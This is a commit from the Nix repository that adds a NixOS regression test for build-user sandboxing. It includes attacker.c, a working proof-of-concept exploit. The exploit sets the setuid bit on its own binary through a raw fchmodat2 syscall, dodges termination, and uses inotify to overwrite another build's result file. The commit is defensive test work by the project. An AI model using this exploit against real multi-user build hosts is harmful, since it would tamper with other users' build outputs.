mirror of
https://github.com/NixOS/nix.git
synced 2024-11-25 08:12:29 +00:00
Add a test for the user sandboxing
This commit is contained in:
parent
fcdf99b5f5
commit
cad14405c2
@ -158,4 +158,6 @@ in
|
||||
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
|
||||
|
||||
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
|
||||
|
||||
user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
|
||||
}
|
||||
|
82
tests/nixos/user-sandboxing/attacker.c
Normal file
82
tests/nixos/user-sandboxing/attacker.c
Normal file
@ -0,0 +1,82 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define SYS_fchmodat2 452
|
||||
|
||||
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
|
||||
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc <= 1) {
|
||||
// stage 1: place the setuid-builder executable
|
||||
|
||||
// make the build directory world-accessible first
|
||||
chmod(".", 0755);
|
||||
|
||||
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
|
||||
perror("Setting the suid bit on attacker");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
} else {
|
||||
// stage 2: corrupt the victim derivation while it's building
|
||||
|
||||
// prevent the kill
|
||||
if (setresuid(-1, -1, getuid())) {
|
||||
perror("setresuid");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
if (fork() == 0) {
|
||||
|
||||
// wait for the victim to build
|
||||
int fd = inotify_init();
|
||||
inotify_add_watch(fd, argv[1], IN_CREATE);
|
||||
int dirfd = open(argv[1], O_DIRECTORY);
|
||||
if (dirfd < 0) {
|
||||
perror("opening the global build directory");
|
||||
exit(-1);
|
||||
}
|
||||
char buf[4096];
|
||||
fprintf(stderr, "Entering the inotify loop\n");
|
||||
for (;;) {
|
||||
ssize_t len = read(fd, buf, sizeof(buf));
|
||||
struct inotify_event *ev;
|
||||
for (char *pe = buf; pe < buf + len;
|
||||
pe += sizeof(struct inotify_event) + ev->len) {
|
||||
ev = (struct inotify_event *)pe;
|
||||
fprintf(stderr, "folder %s created\n", ev->name);
|
||||
// wait a bit to prevent racing against the creation
|
||||
sleep(1);
|
||||
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
|
||||
if (builddir < 0) {
|
||||
perror("opening the build directory");
|
||||
continue;
|
||||
}
|
||||
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
|
||||
if (resultfile < 0) {
|
||||
perror("opening the hijacked file");
|
||||
continue;
|
||||
}
|
||||
int writeres = write(resultfile, "bad\n", 4);
|
||||
if (writeres < 0) {
|
||||
perror("writing to the hijacked file");
|
||||
continue;
|
||||
}
|
||||
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
127
tests/nixos/user-sandboxing/default.nix
Normal file
127
tests/nixos/user-sandboxing/default.nix
Normal file
@ -0,0 +1,127 @@
|
||||
{ config, ... }:
|
||||
|
||||
let
|
||||
pkgs = config.nodes.machine.nixpkgs.pkgs;
|
||||
|
||||
attacker = pkgs.runCommandWith {
|
||||
name = "attacker";
|
||||
stdenv = pkgs.pkgsStatic.stdenv;
|
||||
} ''
|
||||
$CC -static -o $out ${./attacker.c}
|
||||
'';
|
||||
|
||||
try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
|
||||
export PATH=${pkgs.coreutils}/bin:$PATH
|
||||
|
||||
set -x
|
||||
|
||||
chmod 700 .
|
||||
|
||||
touch foo
|
||||
|
||||
# Synchronisation point: create a world-writable fifo and wait for someone
|
||||
# to write into it
|
||||
mkfifo syncPoint
|
||||
chmod 777 syncPoint
|
||||
cat syncPoint
|
||||
|
||||
touch $out
|
||||
|
||||
set +x
|
||||
'';
|
||||
|
||||
create-hello-world = pkgs.writeScript "create-hello-world" ''
|
||||
export PATH=${pkgs.coreutils}/bin:$PATH
|
||||
|
||||
set -x
|
||||
|
||||
echo "hello, world" > result
|
||||
|
||||
# Synchronisation point: create a world-writable fifo and wait for someone
|
||||
# to write into it
|
||||
mkfifo syncPoint
|
||||
chmod 777 syncPoint
|
||||
cat syncPoint
|
||||
|
||||
cp result $out
|
||||
|
||||
set +x
|
||||
'';
|
||||
|
||||
in
|
||||
{
|
||||
name = "sandbox-setuid-leak";
|
||||
|
||||
nodes.machine =
|
||||
{ config, lib, pkgs, ... }:
|
||||
{ virtualisation.writableStore = true;
|
||||
nix.settings.substituters = lib.mkForce [ ];
|
||||
nix.nrBuildUsers = 1;
|
||||
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
|
||||
boot.kernelPackages = pkgs.linuxPackages_latest;
|
||||
users.users.alice = {
|
||||
isNormalUser = true;
|
||||
};
|
||||
};
|
||||
|
||||
testScript = { nodes }: ''
|
||||
start_all()
|
||||
|
||||
with subtest("A builder can't give access to its build directory"):
|
||||
# Make sure that a builder can't change the permissions on its build
|
||||
# directory to the point of opening it up to external users
|
||||
|
||||
# A derivation whose builder tries to make its build directory as open
|
||||
# as possible and wait for someone to hijack it
|
||||
machine.succeed(r"""
|
||||
nix-build -v -E '
|
||||
builtins.derivation {
|
||||
name = "open-build-dir";
|
||||
system = builtins.currentSystem;
|
||||
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
args = [ (builtins.storePath "${try-open-build-dir}") ];
|
||||
}' >&2 &
|
||||
""".strip())
|
||||
|
||||
# Wait for the build to be ready
|
||||
# This is OK because it runs as root, so we can access everything
|
||||
machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint")
|
||||
|
||||
# But Alice shouldn't be able to access the build directory
|
||||
machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'")
|
||||
machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'")
|
||||
machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'")
|
||||
|
||||
# Tell the user to finish the build
|
||||
machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint")
|
||||
|
||||
with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
|
||||
machine.succeed(r"""
|
||||
nix-build -E '
|
||||
builtins.derivation {
|
||||
name = "innocent";
|
||||
system = builtins.currentSystem;
|
||||
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
args = [ (builtins.storePath "${create-hello-world}") ];
|
||||
}' >&2 &
|
||||
""".strip())
|
||||
machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint")
|
||||
|
||||
# The build ran as `nixbld1` (which is the only build user on the
|
||||
# machine), but a process running as `nixbld1` outside the sandbox
|
||||
# shouldn't be able to touch the build directory regardless
|
||||
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'")
|
||||
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'")
|
||||
|
||||
# Finish the build
|
||||
machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint")
|
||||
|
||||
# Check that the build was not affected
|
||||
machine.succeed(r"""
|
||||
cat ./result
|
||||
test "$(cat ./result)" = "hello, world"
|
||||
""".strip())
|
||||
'';
|
||||
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user